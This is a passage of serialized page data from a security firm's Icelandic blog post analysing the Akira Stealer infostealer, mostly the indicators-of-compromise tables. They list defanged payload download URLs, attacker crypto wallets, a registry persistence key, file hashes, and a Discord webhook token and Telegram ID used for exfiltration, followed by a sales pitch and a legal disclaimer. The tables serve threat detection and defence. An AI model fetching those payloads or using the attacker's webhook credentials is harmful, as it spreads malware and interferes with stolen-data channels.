tilvísun á hið eiginlega ZIP-URL",[1396,12286,4685,12287,4685,12290,4685,12295,4680],{},[1411,12288,12289],{},"JS-dropper, varaleið 1",[1411,12291,12292],{},[692,12293,12294],{"href":3600,"target":330},"https[:]//cosmicdust[.]zip/.well-known/pki-validation/pyth.zip",[1411,12296,12297],{},"Annað ZIP með payload",[1396,12299,4685,12300,4685,12303,4685,12308,4680],{},[1411,12301,12302],{},"JS-dropper, varaleið 2",[1411,12304,12305],{},[692,12306,12307],{"href":3605,"target":330},"https[:]//cosmoplanets[.]net/well-known/pki-validation/pyth.zip",[1411,12309,12310],{},"Þriðja ZIP með payload til vara",[826,12312],{"className":12313},[829,830],[713,12315,12317],{"id":12316},"_2-heimilisföng-kryptógjaldmiðla","2. Heimilisföng kryptógjaldmiðla",[532,12319,719],{},[1390,12321,4680,12323],{"className":12322,"style":11093},[11092],[1406,12324,12325,4680,12333,4680,12343,4680,12353,4680,12363,4680,12372,4680,12382,4680,12392,4680,12402,4680,12412,4680,12422],{},[1396,12326,4685,12327,4685,12330,4680],{},[1399,12328,12329],{"style":11104},"Gjaldmiðill",[1399,12331,12332],{},"Heimilisfang",[1396,12334,4685,12335,4685,12338,4680],{},[1411,12336,12337],{},"BTC",[1411,12339,12340],{},[550,12341,12342],{},"bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt",[1396,12344,4685,12345,4685,12348,4680],{},[1411,12346,12347],{},"ETH",[1411,12349,12350],{},[550,12351,12352],{},"0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5",[1396,12354,4685,12355,4685,12358,4680],{},[1411,12356,12357],{},"DOGE",[1411,12359,12360],{},[550,12361,12362],{},"DACeoqWDPmNARSZAeDZPFwqwecbByaksmd",[1396,12364,4685,12365,4685,12368,4680],{},[1411,12366,12367],{},"LTC",[1411,12369,12370],{},[550,12371,11135],{},[1396,12373,4685,12374,4685,12377,4680],{},[1411,12375,12376],{},"XMR",[1411,12378,12379],{},[550,12380,12381],{},"4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D",[1396,12383,4685,12384,4685,12387,4680],{},[1411,12385,12386],{},"BCH",[1411,12388,12389],{},[550,12390,12391],{},"qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs",[1396,12393,4685,12394,4685,12397,4680],{},[1411,12395,12396],{},"DASH",[1411,12398,12399],{},[550,12400,12401],{},"XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1",[1396,12403,4685,12404,4685,12407,4680],{},[1411,12405,12406],{},"TRX",[1411,12408,12409],{},[550,12410,12411],{},"TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK",[1396,12413,4685,12414,4685,12417,4680],{},[1411,12415,12416],{},"XRP",[1411,12418,12419],{},[550,12420,12421],{},"r36AwwhUH7BRujevi5mukbDrG46KGbTk8V",[1396,12423,4685,12424,4685,12427,4680],{},[1411,12425,12426],{},"XLM",[1411,12428,12429],{},[550,12430,12431],{},"GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33",[826,12433],{"className":12434},[829,830],[713,12436,12438],{"id":12437},"_3-registry-lyklar-og-slóðir","3. Registry-lyklar og slóðir",[532,12440,719],{},[1390,12442,4680,12444],{"className":12443,"style":11093},[11092],[1406,12445,12446,4680,12453,4680,12463,4680,12473,4680,12486],{},[1396,12447,4685,12448,4685,12451,4680],{},[1399,12449,1654],{"style":12450},"text-align: left; width: 60%;",[1399,12452,1183],{},[1396,12454,4685,12455,4685,12460,4680],{},[1411,12456,12457],{},[550,12458,12459],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc",[1411,12461,12462],{},"Athugar signature sýndar-GPU-drivera",[1396,12464,4685,12465,4685,12470,4680],{},[1411,12466,12467],{},[550,12468,12469],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName",[1411,12471,12472],{},"Athugar heiti veitanda sýndar-GPU",[1396,12474,4685,12475,4685,12483,4680],{},[1411,12476,12477,12480,12481,1111],{},[550,12478,12479],{},"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run"," (gildið ",[539,12482,1665],{},[1411,12484,12485],{},"Persistence í gegnum Run-lykil (Updater.exe)",[1396,12487,4685,12488,4685,12492,4680],{},[1411,12489,12490],{},[550,12491,1673],{},[1411,12493,12494],{},"Keyranleg skrá fyrir persistence",[826,12496],{"className":12497},[829,830],[713,12499,12501],{"id":12500},"_5-skrár-og-hash","5. Skrár og hash",[532,12503,719],{},[1390,12505,4680,12507],{"className":12506,"style":11093},[11092],[1406,12508,12509,4680,12521,4680,12533,4680,12545,4680,12558,4680,12570,4680,12582,4680,12594,4680,12606,4680,12619,4680,12631,4680,12644,4680,12656],{},[1396,12510,4685,12511,4685,12514,4685,12518,4680],{},[1399,12512,12513],{"style":12024},"Skráarheiti",[1399,12515,12517],{"style":12516},"text-align: left; width: 62%;","SHA256",[1399,12519,12520],{},"Stærð (bæti)",[1396,12522,4685,12523,4685,12525,4685,12530,4680],{},[1411,12524,1827],{},[1411,12526,12527],{},[550,12528,12529],{},"331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380",[1411,12531,12532],{},"63936274",[1396,12534,4685,12535,4685,12537,4685,12542,4680],{},[1411,12536,577],{},[1411,12538,12539],{},[550,12540,12541],{},"C98F0F5B89C6DAC1482286FAA2E33A84230C26EA38DA4E013665582C9A04213B",[1411,12543,12544],{},"162036224",[1396,12546,4685,12547,4685,12550,4685,12555,4680],{},[1411,12548,12549],{},"jscrypter.js",[1411,12551,12552],{},[550,12553,12554],{},"0A47985F8B3716058B0DF6C68EC97D0F1F3CB0F7A31562A819C3E766ED4CDCEF",[1411,12556,12557],{},"1429",[1396,12559,4685,12560,4685,12562,4685,12567,4680],{},[1411,12561,2816],{},[1411,12563,12564],{},[550,12565,12566],{},"1E666F3CF6E3DA6EED973E00E81EC721B33B17D4E981CB506F62F349DC1B3343",[1411,12568,12569],{},"30138",[1396,12571,4685,12572,4685,12574,4685,12579,4680],{},[1411,12573,2813],{},[1411,12575,12576],{},[550,12577,12578],{},"E375DE29E23C43627B2894EA01B6B1C7D9B1BD37E7305EEC7185CEE9719924A7",[1411,12580,12581],{},"7155",[1396,12583,4685,12584,4685,12586,4685,12591,4680],{},[1411,12585,2741],{},[1411,12587,12588],{},[550,12589,12590],{},"972C634FD0666BCA12A6B7A50E69C32610321E9EC4D28D65734E55437D345CC6",[1411,12592,12593],{},"211",[1396,12595,4685,12596,4685,12598,4685,12603,4680],{},[1411,12597,581],{},[1411,12599,12600],{},[550,12601,12602],{},"850361AF7D6C006900FC638D6ACBD9A6362385BAD0530CFBD52555E6415DB3A4",[1411,12604,12605],{},"205210",[1396,12607,4685,12608,4685,12611,4685,12616,4680],{},[1411,12609,12610],{},"exodus.asar",[1411,12612,12613],{},[550,12614,12615],{},"6A3B5D5A6BA5925DF39351830D92A2B5E4720803FE9F8040C3E67C12F668F4EB",[1411,12617,12618],{},"132486332",[1396,12620,4685,12621,4685,12623,4685,12628,4680],{},[1411,12622,1885],{},[1411,12624,12625],{},[550,12626,12627],{},"10E4A6B54CC0CF4D18DDE8B69E0B305ABE487E07ED990C5BFF82CE30B217B910",[1411,12629,12630],{},"28454",[1396,12632,4685,12633,4685,12636,4685,12641,4680],{},[1411,12634,12635],{},"download.dat",[1411,12637,12638],{},[550,12639,12640],{},"C49E83A5F154F7E54CA0CE9EECEA066A721966786F2850626252DDA0BE0BF79B",[1411,12642,12643],{},"21142",[1396,12645,4685,12646,4685,12648,4685,12653,4680],{},[1411,12647,2874],{},[1411,12649,12650],{},[550,12651,12652],{},"E6F6AD49076367A58220E48691A34E33C18F0285FD9C50879A9B83A99F840AD7",[1411,12654,12655],{},"32375391",[1396,12657,4685,12658,4685,12660,4685,12665,4680],{},[1411,12659,573],{},[1411,12661,12662],{},[550,12663,12664],{},"36C34E39DC7D54C4C97DDEB9B6C7FD429DB26C34D65CCE8BE3523FDFDB7CEBE0",[1411,12666,12667],{},"37652937",[826,12669],{"className":12670},[829,830],[713,12672,12674],{"id":12673},"_5-auðkenni-discord-og-telegram","5. Auðkenni Discord og Telegram",[532,12676,719],{},[1390,12678,4680,12680],{"className":12679,"style":11093},[11092],[1406,12681,12682,4680,12688,4680,12698,4680,12708],{},[1396,12683,4685,12684,4685,12686,4680],{},[1399,12685,12025],{"style":6296},[1399,12687,1404],{},[1396,12689,4685,12690,4685,12693,4680],{},[1411,12691,12692],{},"Discord webhook-auðkenni",[1411,12694,12695],{},[550,12696,12697],{},"1226766972675428372",[1396,12699,4685,12700,4685,12703,4680],{},[1411,12701,12702],{},"Discord webhook-token",[1411,12704,12705],{},[550,12706,12707],{},"BuBywdldEWncg7fbIpEhCROLpkGLkYirOoP2bP-uzzOatDaxSpaWqaLNerun85qCfwNz",[1396,12709,4685,12710,4685,12713,4680],{},[1411,12711,12712],{},"Telegram-auðkenni",[1411,12714,12715],{},[550,12716,12717],{},"5035121855",[826,12719],{"className":12720},[829,830],[527,12722,12724],{"id":12723},"_14-hugleiðingar-um-akira-stealer-atvikið-styrktu-vörnina-þína-með-glueckkanja-csoc","14. Hugleiðingar um Akira Stealer-atvikið: styrktu vörnina þína með glueckkanja CSOC",[532,12726,534],{},[532,12728,12729],{},"Í þessari bloggfærslu höfum við kannað hversu fágað Akira Infostealer er, háþróuð netógn sem einkennist af markvissum þjófnaði á credentials, hljóðlátri exfiltration gagna og þrálátum aðferðum til að komast hjá hefðbundnum vörnum. Að skilja hvernig þetta malware starfar, hvaða áhættu það skapar og hvaða veikleika það nýtir er forsenda þess að byggja upp sterka cybersecurity-stefnu.",[532,12731,12732],{},"Akira Infostealer beinist sérstaklega að viðkvæmum gögnum eins og innskráningar-credentials, browser-setum, kryptóveskjum, skilaboðaþjónustum og skrám einstaklinga eða fyrirtækja. Útreiknaðar og nákvæmar aðferðir þess kalla á meira en venjulegar öryggisráðstafanir, þær kalla á samfellda vöktun, ítarlega forensic-greiningu og fyrirbyggjandi threat intelligence.",[532,12734,12735],{},"Hjá glueckkanja CSOC nýtum við djúpa tæknilega sérþekkingu okkar og háþróaða greiningargetu til að ganga lengra en einföld detection. Sérhæfða teymið okkar vaktar ógnir samfellt í rauntíma frá okkar eigin CSOC-serverum, sem gerir kleift að greina samstundis, rannsaka til hlítar og gera ógnir eins og Akira Infostealer óvirkar með áhrifaríkum hætti.",[532,12737,12738],{},"En vinnan okkar stöðvast ekki við incident response. Hvert atvik sem greinist auðgar þekkingargrunn okkar, styrkir öryggisstöðu okkar og tryggir að við séum áfram nokkrum skrefum framar komandi ógnum. Með glueckkanja CSOC fær þú meira en vörn, þú fær aðlögunarhæfan öryggisaðila sem er staðráðinn í að styðja þol þitt til langs tíma.",[532,12740,12741],{},"Stígðu næsta skref í því að tryggja stafrænar eignir fyrirtækisins þíns.",[532,12743,12744],{},"Hafðu samband við cybersecurity-sérfræðinga glueckkanja í dag, og tryggjum framtíð þína saman með fyrirbyggjandi hætti.",[532,12746,12747],{},[539,12748,12749],{},"Styrktu vörnina þína með glueckkanja CSOC.",[527,12751,12753],{"id":12752},"_15-öryggis-og-lagalegur-fyrirvari-notkun-á-raunverulegum-malware-kóða","15. Öryggis- og lagalegur fyrirvari – notkun á raunverulegum malware-kóða",[532,12755,534],{},[532,12757,12758],{},"Þessi útgáfa inniheldur ítarlega tæknilega innsýn, þar á meðal kóðabrot og hegðunargreiningar sem leiddar eru af raunverulegum illgjörnum hugbúnaði sem fannst við incident response og forensic-rannsóknir. Tilgangurinn með því að deila þessum upplýsingum er eingöngu fræðslulegur, þeim er ætlað að hjálpa fagfólki í vörnum að skilja, greina og bregðast við raunverulegum ógnum með áhrifaríkari hætti. Við gefum þetta út í góðri trú og með það í huga að leggja breiðara öryggissamfélagi lið.",[532,12760,12761],{},"Rétt er að hafa í huga að hlutar kóðans sem hér fylgir koma úr verkfærasettum ógnaraðila og malware-sýnum sem eru í umferð. Þessi brot eru ekki hugverk okkar og þau skal hvorki telja örugg, sótthreinsuð né á annan hátt \"harmless\". Við ráðum eindregið frá því að endurgera eða nota slíkan kóða í rekstri. Lesendur verða að skilja að þótt þetta efni þjóni rannsóknar- og vitundarhlutverki fylgir því í sjálfu sér áhætta sem ekki skal vanmeta.",[532,12763,12764],{},"Aðeins þjálfað fagfólk sem starfar í umhverfum með lagalegt umboð, svo sem faggilt security-teymi, SOC-einingar, fræðimenn eða malware-tilraunastofur, ætti að fást við þær aðferðir eða þann kóða sem hér er lýst. Allar tilraunir verða að vera bundnar við einangruð kerfi utan rekstrar og fylgja gildandi lögum, innri stefnum og siðferðilegum viðmiðum.",[532,12766,12767],{},"Við bjóðum engan stuðning og enga staðfestingu á neinum endurgerðum kóða eða neinni endurgerðri hegðun. Engin trygging er fyrir réttmæti, mikilvægi eða heilleika. Enn frekar vísum við berum orðum á bug allri notkun þessa efnis í árásarskyni, í óheimilu red teaming, við þróun malware í viðskiptaskyni eða í adversarial testing utan lagalega skilgreinds umfangs. Öll misnotkun getur haft lagalegar afleiðingar. glueckkanja AG afsalar sér allri ábyrgð á beinum eða óbeinum skaða sem hlýst af notkun eða misskilningi á þessu efni.",[532,12769,12770],{},"Með því að halda áfram að lesa eða vitna í þetta efni viðurkennir þú framangreint og samþykkir að misnota ekki, endurgera ekki og beita ekki neinum hluta þess í ólöglegu eða ósiðlegu samhengi. Sértu í vafa skaltu ráðfæra þig við lögfræði-, compliance- eða gagnaverndarsvið þitt áður en þú fæst við greiningu á lifandi kóða eða sambærilegt tæknilegt efni.",[532,12772,12773],{},"Þessi útgáfa er látin í té \"as is\", án ábyrgðar, stuðnings eða skaðabótaskyldu.",[12775,12776,12777],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":593,"searchDepth":2064,"depth":2064,"links":12779},[12780,12781,12782,12783,12794,12795,12796,12797,12798,12799,12800,12801,12803,12804,12805,12806,12807,12808,12809,12810,12811,12814,12822,12823,12824,12830,12848,12866,12867,12868,12869,12877,12884,12891,12900,12907,12908,12909,12910,12911,12912,12913,12914,12915,12916,12917,12918,12919,12920,12921,12922],{"id":715,"depth":2064,"text":716},{"id":765,"depth":2064,"text":766},{"id":786,"depth":2064,"text":787},{"id":842,"depth":2064,"text":843,"children":12784},[12785,12786,12788,12790,12792],{"id":863,"depth":2070,"text":864},{"id":915,"depth":2070,"text":12787},"2.1.2 Updater.exe – upphaflegur loader",{"id":1021,"depth":2070,"text":12789},"2.1.3 main.exe – obfuskerað ílát fyrir NodeJS-payload",{"id":1140,"depth":2070,"text":12791},"2.1.4 cmd.exe og PowerShell-relay",{"id":1251,"depth":2070,"text":12793},"2.1.5 python.exe með astor.py",{"id":1385,"depth":2064,"text":1386},{"id":1474,"depth":2064,"text":1475},{"id":1552,"depth":2064,"text":1553},{"id":1638,"depth":2064,"text":1639},{"id":1708,"depth":2064,"text":1709},{"id":1788,"depth":2064,"text":1789},{"id":1897,"depth":2064,"text":1898},{"id":2014,"depth":2064,"text":12802},"4.2 Aðferð til að komast hjá AMSI (klasi: gofor4msi)",{"id":2200,"depth":2064,"text":2201},{"id":2320,"depth":2064,"text":2321},{"id":2420,"depth":2064,"text":2421},{"id":2516,"depth":2064,"text":2517},{"id":2591,"depth":2064,"text":2592},{"id":2661,"depth":2064,"text":2662},{"id":2720,"depth":2064,"text":2721},{"id":2860,"depth":2064,"text":2861},{"id":2921,"depth":2064,"text":2922,"children":12812},[12813],{"id":2933,"depth":2070,"text":2934},{"id":3287,"depth":2064,"text":3288,"children":12815},[12816,12817,12818,12819,12820,12821],{"id":3296,"depth":2070,"text":3297},{"id":3410,"depth":2070,"text":3411},{"id":3608,"depth":2070,"text":3609},{"id":3899,"depth":2070,"text":3900},{"id":3974,"depth":2070,"text":3975},{"id":4136,"depth":2070,"text":4137},{"id":4370,"depth":2064,"text":4371},{"id":4416,"depth":2064,"text":4417},{"id":4428,"depth":2064,"text":4429,"children":12825},[12826,12827,12828,12829],{"id":4434,"depth":2070,"text":4435},{"id":4478,"depth":2070,"text":4479},{"id":4538,"depth":2070,"text":4539},{"id":4573,"depth":2070,"text":4574},{"id":4610,"depth":2064,"text":12831,"children":12832},"7.3 Vörn gegn greiningu og evasion (klasi: VmProtect)",[12833,12834,12835,12836,12838,12839,12840,12841,12842,12843,12844,12845,12846,12847],{"id":4619,"depth":2070,"text":4620},{"id":4635,"depth":2070,"text":4636},{"id":4674,"depth":2070,"text":4675},{"id":4762,"depth":2070,"text":12837},"7.3.4 Arkitektúr VmProtect",{"id":5113,"depth":2070,"text":5114},{"id":5179,"depth":2070,"text":5180},{"id":5248,"depth":2070,"text":5249},{"id":5312,"depth":2070,"text":5313},{"id":5380,"depth":2070,"text":5381},{"id":5437,"depth":2070,"text":5438},{"id":5535,"depth":2070,"text":5536},{"id":5605,"depth":2070,"text":5606},{"id":6061,"depth":2070,"text":6062},{"id":6107,"depth":2070,"text":6108},{"id":6121,"depth":2064,"text":6122,"children":12849},[12850,12851,12853,12855,12857,12859,12861,12863,12865],{"id":6280,"depth":2070,"text":6281},{"id":6388,"depth":2070,"text":12852},"7.4.2 Lykilorðadumpari (Chromium.GetPasswords)",{"id":6511,"depth":2070,"text":12854},"7.4.3 Kreditkortadumpari (Chromium.GetCreditCards)",{"id":6592,"depth":2070,"text":12856},"7.4.4 Cookie-dumpari (Chromium.GetCookies)",{"id":6671,"depth":2070,"text":12858},"7.4.5 Dumpari Google-seta (Chromium.dump_google_sessions)",{"id":6796,"depth":2070,"text":12860},"7.4.6 Ferilskrárdumpari (Chromium.GetHistory)",{"id":6866,"depth":2070,"text":12862},"7.4.7 Dumpari sjálfvirkra útfyllinga (Chromium.GetAutofills)",{"id":6929,"depth":2070,"text":12864},"7.4.8 Firefox-prófílagrabbari (GeckoDriver og grabFirefoxProfiles)",{"id":7006,"depth":2070,"text":7007},{"id":7045,"depth":2064,"text":7046},{"id":7377,"depth":2064,"text":7378},{"id":7491,"depth":2064,"text":7492},{"id":7819,"depth":2064,"text":7820,"children":12870},[12871,12872,12873,12874,12875,12876],{"id":7828,"depth":2070,"text":7829},{"id":7980,"depth":2070,"text":7981},{"id":8086,"depth":2070,"text":8087},{"id":8211,"depth":2070,"text":8212},{"id":8278,"depth":2070,"text":8279},{"id":8403,"depth":2070,"text":8404},{"id":8508,"depth":2064,"text":12878,"children":12879},"7.9. Þjófnaður Discord- og Telegram-tokens (klasi: Discord)",[12880,12881,12882,12883],{"id":8521,"depth":2070,"text":8522},{"id":8652,"depth":2070,"text":8653},{"id":8897,"depth":2070,"text":8898},{"id":8979,"depth":2070,"text":8980},{"id":9048,"depth":2064,"text":9049,"children":12885},[12886,12888,12889,12890],{"id":9061,"depth":2070,"text":12887},"7.10.1 Frumstilling Data-klasans",{"id":9158,"depth":2070,"text":9159},{"id":9278,"depth":2070,"text":9279},{"id":9343,"depth":2070,"text":9344},{"id":9420,"depth":2064,"text":12892,"children":12893},"7.11 Skráagrabbari (klasi: Utils.steal_files)",[12894,12895,12896,12897,12898,12899],{"id":9432,"depth":2070,"text":9433},{"id":9503,"depth":2070,"text":9504},{"id":9565,"depth":2070,"text":9566},{"id":9598,"depth":2070,"text":9599},{"id":9627,"depth":2070,"text":9628},{"id":9805,"depth":2070,"text":9806},{"id":9915,"depth":2064,"text":9916,"children":12901},[12902,12903,12904,12905,12906],{"id":9924,"depth":2070,"text":9925},{"id":9939,"depth":2070,"text":9940},{"id":10018,"depth":2070,"text":10019},{"id":10167,"depth":2070,"text":10168},{"id":10399,"depth":2070,"text":10400},{"id":10751,"depth":2064,"text":10752},{"id":10782,"depth":2064,"text":10783},{"id":10906,"depth":2064,"text":10907},{"id":11018,"depth":2064,"text":11019},{"id":11069,"depth":2064,"text":11070},{"id":11248,"depth":2064,"text":11249},{"id":11298,"depth":2064,"text":11299},{"id":11342,"depth":2064,"text":11343},{"id":11382,"depth":2064,"text":11383},{"id":11471,"depth":2064,"text":11472},{"id":11488,"depth":2064,"text":11489},{"id":12011,"depth":2064,"text":12012},{"id":12316,"depth":2064,"text":12317},{"id":12437,"depth":2064,"text":12438},{"id":12500,"depth":2064,"text":12501},{"id":12673,"depth":2064,"text":12674},"md","post",{"lang":12926,"seoTitle":12927,"titleClass":12928,"date":12929,"categories":12930,"blogtitlepic":12931,"socialimg":12932,"customExcerpt":12933,"keywords":12934,"maxContent":325,"asideNav":12935,"footer":12984,"contactInContent":12985,"published":325},"is","Akira Stealer: tæknileg greining á einingaskiptu malware sem stelur upplýsingum","h2-font-size","2025-06-16",[235],"head-quiet-breach.png","/blog/heads/head-quiet-breach.png","Það byrjaði með einu Defender-alerti í Microsoft 365. Ekkert malware, engar signature, engin panik. Aðeins hvísl í kliðnum. Það sem við afhjúpuðum voru mánuðir af þjófnaði á credentials, skurðnákvæmum, hljóðlátum og nánast ósýnilegum. Svona breytti CSOC okkar hljóðlátu merki í fullskala viðbrögð. Og skilaði viðskiptavini okkar stjórninni áður en hann vissi að hún væri farin.","Microsoft 365 Security, detection á þjófnaði credentials, incident response, Microsoft Defender, Managed Security Services, cloud security, threat detection, greining netárása, CSOC, Advanced Threat Protection",{"menuItems":12936},[12937,12939,12942,12945,12948,12951,12954,12957,12960,12963,12966,12969,12972,12975,12978,12981],{"href":12938,"text":530},"#formáli",{"href":12940,"text":12941},"#_1-upphaflegt-atvik-og-samantekt-á-triage","Upphaflegt atvik og samantekt á triage",{"href":12943,"text":12944},"#_2-arkitektúr-malware-sins-og-yfirlit-yfir-keyrslukeðjuna","Arkitektúr malware og keyrslukeðja",{"href":12946,"text":12947},"#_3-deep-dive-updaterexe","Deep Dive: Updater.exe",{"href":12949,"text":12950},"#_4-deep-dive-powbat","Deep Dive: pow.bat",{"href":12952,"text":12953},"#_5-deep-dive-mainexe-electron-byggður-malware-loader","Deep Dive: main.exe",{"href":12955,"text":12956},"#_6-deep-dive-inputjs-dulkóðaði-javascript-payload-loaderinn","Deep Dive: input.js",{"href":12958,"text":12959},"#_7-deepdive-akira-stealer-v2-astorpy","DeepDive: Akira Stealer v2",{"href":12961,"text":12962},"#_8-hringlaga-keyrslukeðja-sjálfslæknandi-lykkja","Hringlaga keyrslukeðja",{"href":12964,"text":12965},"#_9-rakning-og-greining-á-blockchain","Rakning og greining á blockchain",{"href":12967,"text":12968},"#_10-innan-akira-vistkerfisins-netbrotainnviðir-í-viðskiptaskyni","Innan Akira-vistkerfisins",{"href":12970,"text":12971},"#_11-akira-stealer-quickcheck-skrár-sem-urðu-fyrir-árásinni","Akira Stealer QuickCheck: skrár sem urðu fyrir árásinni",{"href":12973,"text":12974},"#_12-umfram-viðbrögð-hvernig-glueckkanja-csoc-breytir-atvikum-í-þekkingu","Hvernig glueckkanja CSOC breytir atvikum í þekkingu",{"href":12976,"text":12977},"#_13-indicators-of-compromise-iocs","Indicators of Compromise (IOCs)",{"href":12979,"text":12980},"#_14-hugleiðingar-um-akira-stealer-atvikið-styrktu-vörnina-þína-með-glueckkanja-csoc","Hugleiðingar um Akira Stealer-atvikið",{"href":12982,"text":12983},"#_15-öryggis-og-lagalegur-fyrirvari-notkun-á-raunverulegum-malware-kóða","Öryggis- og lagalegur fyrirvari",{"noMargin":325},{"quote":484,"infos":12986},{"bgColor":12987,"color":12988,"boxBgColor":12989,"boxColor":12990,"headline":12991,"subline":12992,"level":713,"textStyling":12993,"flush":12994,"person":12995,"form":13007},"var(--color-gk-violet)","var(--color-gk-white)","var(--color-gk-yellow)","var(--color-copy)","Hafðu samband núna","Sem leiðandi Microsoft Security MSSP verndum við fyrirtæki gegn netógnum hvern dag. Tölum saman og styrkjum netvarnir þínar í sameiningu.","text-light","justify-content-end",{"image":12996,"cloudinary":325,"alt":12997,"name":12997,"detailsHeader":12998,"details":12999},"/people/people-pam-team.png","Project & Account Management","Við hlökkum til að heyra frá þér.",[13000,13004],{"text":492,"href":13001,"details":13002,"icon":13003},"tel:+49 69 4005520","Hringdu núna","site/phone",{"text":493,"href":13005,"icon":13006},"mailto:info@glueckkanja.com","site/mail",{"ctaText":13008,"cta":13009,"method":12924,"action":13011,"fields":13012},"Senda",{"skin":13010},"primary on-surface","/send",[13013,13017,13021,13024,13028,13033,13036,13039],{"type":13014,"id":13015,"value":13016},"hidden","_next","successful",{"label":13018,"type":592,"id":13019,"required":325,"requiredMsg":13020},"Nafn*","name","Vinsamlegast sláðu inn nafn.",{"label":13022,"type":592,"id":403,"required":325,"requiredMsg":13023},"Fyrirtæki*","Vinsamlegast sláðu inn fyrirtæki.",{"label":13025,"type":13026,"id":13026,"required":325,"requiredMsg":13027},"Netfang*","email","Vinsamlegast sláðu inn netfang.",{"label":13029,"type":13030,"id":13031,"required":325,"requiredMsg":13032},"Gögnin þín eru vistuð hjá okkur til vinnslu og svörunar á fyrirspurn þinni. Frekari upplýsingar um persónuvernd finnur þú í \u003Ca href=\"/is/privacy\">persónuverndarstefnu okkar\u003C/a>.","checkbox","dataprotection","Vinsamlegast staðfestu",{"type":13014,"id":13034,"value":13035},"_subject","Form: Blog MSSP 2025 | IS",{"type":13014,"id":13037,"value":13038},"inbox_key","gkgab-contact-form",{"type":13014,"id":13040},"_gotcha","/posts/2025-06-16-quiet-breach",{"title":520,"description":534},"posts/2025-06-16-quiet-breach",[13045,13046,13047,13048],"Microsoft 365 Defender","Threat Intelligence","Cyber Security Operations Center","Incident Deep Dive","qZhtpa4gx5ppdkpuOpJC5NGvGn1Y2F8pKYPSStdBVi4",{"id":13051,"extension":13052,"meta":13053,"stem":8,"__hash__":13403},"authors_data/authors.json","json",{"path":13054,"Fritz Zurhorst":13055,"Alexander Schlindwein":13061,"Sophie Luna":13067,"Nadine Klein":13075,"Karsten Kleinschmidt":13081,"Julian Wendt":13089,"Holger Bunkradt":13094,"Ralf Mania":13100,"Oliver Kieselbach":13106,"Steffen Schwerdtfeger":13112,"Gunnar Winter":13120,"Jan Petersen":13125,"Thorsten Kunzi":13130,"Moritz Pohl":13134,"Thorben Pöschus":13139,"Christoph Hannebauer":13145,"Marco Scheel":13149,"Christopher Brumm":13154,"Florian Klante":13161,"Niklas Bachmann":13166,"Nils Krautkrämer":13171,"Patrick Treptau":13177,"Peter Beckendorf":13182,"Patrick Sobau":13187,"Jörg Wunderlich":13192,"Michael Breither":13196,"Christian Kanja":13201,"Zeba Hoffmann":13207,"Jochen Fröhlich":13212,"Jan Geisbauer":13216,"Gerrit Reinke":13228,"Christian Kordel":13234,"Stephan Wälde":13238,"Carolin Kanja":13243,"Adrian Ritter":13249,"Marvin Bangert":13254,"Thorsten Pickhan":13260,"Christian Lorenz":13266,"Denis Böhm":13271,"Fabian Bader":13276,"Juan Jose Fernandez Perez":13282,"Mahschid Sayyar":13287,"Benjamin Dassow":13292,"Markus Walschburger":13297,"Jonathan Haist":13302,"Daniel Rohregger":13307,"Thomas Naunheim":13312,"Florian Stöckl":13317,"Pascal Asch":13322,"Markus Kättner":13326,"Anna Ulbricht":13333,"Annette Brauns":13340,"body":13346,"title":13402},"/authors",{"display_name":13056,"avatar":13057,"permalink":13058,"linkedin":13059,"imageOffsetTop":13060},"Fritz Zurhorst","people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":13062,"avatar":13063,"permalink":13064,"twitter":13065,"linkedin":13066},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":13068,"avatar":13069,"permalink":13070,"twitter":13071,"linkedin":13072,"imageOffsetLeft":13073,"imageOffsetTop":13074},"Sophie 